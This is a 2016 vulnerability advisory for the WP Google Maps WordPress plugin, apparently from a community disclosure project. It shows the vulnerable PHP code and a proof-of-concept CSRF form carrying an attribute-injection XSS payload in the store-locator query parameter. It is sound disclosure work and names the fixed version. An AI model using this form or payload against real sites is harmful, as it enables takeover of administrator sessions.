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Persistent Cross-Site Scripting in WP Google Maps Plugin via CSRF
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Sipke Mellema, July 2016
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Abstract
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A persistent Cross-Site Scripting vulnerability was found in the WP
Google Maps Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a URL provided by an attacker.
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OVE ID
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OVE-20160724-0007
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Tested versions
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This issue was successfully tested on the WP Google Maps WordPress
Plugin version 6.3.14.
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Fix
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This issue is resolved in WP Google Maps WordPress Plugin version
6.3.15.
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Details
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https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_wp_google_maps_plugin_via_csrf.html
The issue exists in the file wpGoogleMaps.php and is caused by the lack of output encoding on the wpgmza_store_locator_query_string request parameter. The parameter is sanitized with sanitize_text_field, which will encode characters for usage in HTML context. However, the parameter is used in JavaScript context, allowing for Cross-Site Scripting. The vulnerable code is listed below.
$other_settings['store_locator_query_string'] = sanitize_text_field($_POST['wpgmza_store_locator_query_string']);
if (isset($_POST['wpgmza_store_locator_restrict'])) { $other_settings['wpgmza_store_locator_restrict'] = sanitize_text_field($_POST['wpgmza_store_locator_restrict']); }
[..]
if (isset($map_other_settings['wpgmza_store_locator_restrict'])) { $restrict_search = $map_other_settings['wpgmza_store_locator_restrict']; } else { $restrict_search = false; }
[..]
{ types: ['geocode'], componentRestrictions: {country: '<?php echo $restrict_search; ?>'} });
Proof of Concept
Have an authenticated admin visit a webpage with the following form:
<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1" method="POST">
<input type="hidden" name="wpgmza_id" value="1" />
<input type="hidden" name="wpgmza_start_location" value="45.950464398418106,-109.81550500000003" />
<input type="hidden" name="wpgmza_start_zoom" value="2" />
<input type="hidden" name="wpgmza_title" value="My first map" />
<input type="hidden" name="wpgmza_width" value="100" />
<input type="hidden" name="wpgmza_map_width_type" value="%" />
<input type="hidden" name="wpgmza_height" value="400" />
<input type="hidden" name="wpgmza_map_height_type" value="px" />
<input type="hidden" name="wpgmza_map_align" value="1" />
<input type="hidden" name="wpgmza_map_type" value="1" />
<input type="hidden" name="wpgmza_theme_data_0" value="" />
<input type="hidden" name="wpgmza_store_locator_restrict" value="ad" />
<input type="hidden" name="wpgmza_store_locator_query_string" value=":i8gr4"onfocus="alert(1)"autofocus="" />
<input type="hidden" name="wpgmza_store_locator_bounce" value="on" />
<input type="hidden" name="wpgmza_max_zoom" value="1" />
<input type="hidden" name="wpgmza_savemap" value="Save Map i?1/2»" />
<input type="hidden" name="wpgmza_edit_id" value="" />
<input type="hidden" name="wpgmza_animation" value="0" />
<input type="hidden" name="wpgmza_infoopen" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When the form is submitted (or auto-submitted), a popup box will appear, which means that the JavaScript from the parameter wpgmza_store_locator_query_string is executed in the admin's browser. The JavaScript will run every time the map (with id 1 in this case) is viewed/edited by an admin.
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.